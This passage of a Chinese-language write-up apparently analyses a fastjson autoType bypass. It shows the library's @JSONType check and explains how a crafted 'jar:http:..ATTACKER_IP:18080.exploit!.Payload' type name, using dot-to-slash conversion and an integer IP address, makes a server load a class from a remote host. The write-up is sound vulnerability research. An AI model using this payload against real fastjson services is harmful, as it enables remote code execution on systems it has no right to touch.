border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">if</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">is</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!=</span></span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ClassReader</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">classReader</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">new</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ClassReader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">is</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">true</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">TypeCollector</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">visitor</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">new</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">TypeCollector</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;&lt;clinit&gt;&#34;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">new</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Class</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">[</span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">0</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">]);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">classReader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">accept</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">visitor</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">jsonType</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">visitor</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">hasJsonType</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">();  </span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// 检测 @JSONType 注解</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">} </span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">catch</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 255);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Exception</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">e</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) { </span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/* skip */</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> }</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">if</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">autoTypeSupport</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">||</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">jsonType</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">||</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">expectClassFlag</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {  </span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// ← jsonType=true 绕过第一层</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">clazz</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">TypeUtils</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">loadClass</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">typeName</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">defaultClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">cacheClass</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></span></pre><p cid="n276" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">fastjson会把请求中的</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">替换成</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，然后拼接上</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">.class</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">之后加载。</span></span></span></p><p cid="n277" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">本意是把类似于正常的包，转为路径加载</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n278" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">@</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">type</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;com.example.MyModel&#34;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">replace</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;.&#39;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;/&#39;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) </span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;com/example/MyModel.class&#34;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">从本地</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">classpath</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">加载</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">检测</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">@</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">JSONType</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">信任</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">loadClass</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">正常业务类</span></span></span></span></pre><p cid="n279" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">但是这里就出现了几个华点</span></span></span></p><p cid="n280" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">由于请求中的</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">替换成</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，那么就可以通过构造</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">来绕过正常的限制</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n281" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">输入jar</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">http</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:..</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ATTACKER_IP</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">18080.</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">exploit</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">Payload</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">其中http</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:..</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">转化为http</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">//</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">其中ATTACKER_IP</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">18080.</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">exploit转化为ATTACKER_IP</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">18080</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">exploit</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">其中</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">转化为</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">最后一个问题是ip里的</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">也会被转义，那么更简单直接用整形ip</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">2130706433</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">18080</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">-&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">127.0.0.1</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">:</span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">18080</span></span></span></span></pre><p cid="n282" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">所以最后通过巧妙的构造就可以实现远程加载poc</span></span></span></p><p cid="n283" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">上一个poc由3个部分构成</span></span></span></p><p cid="n284" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="strong" 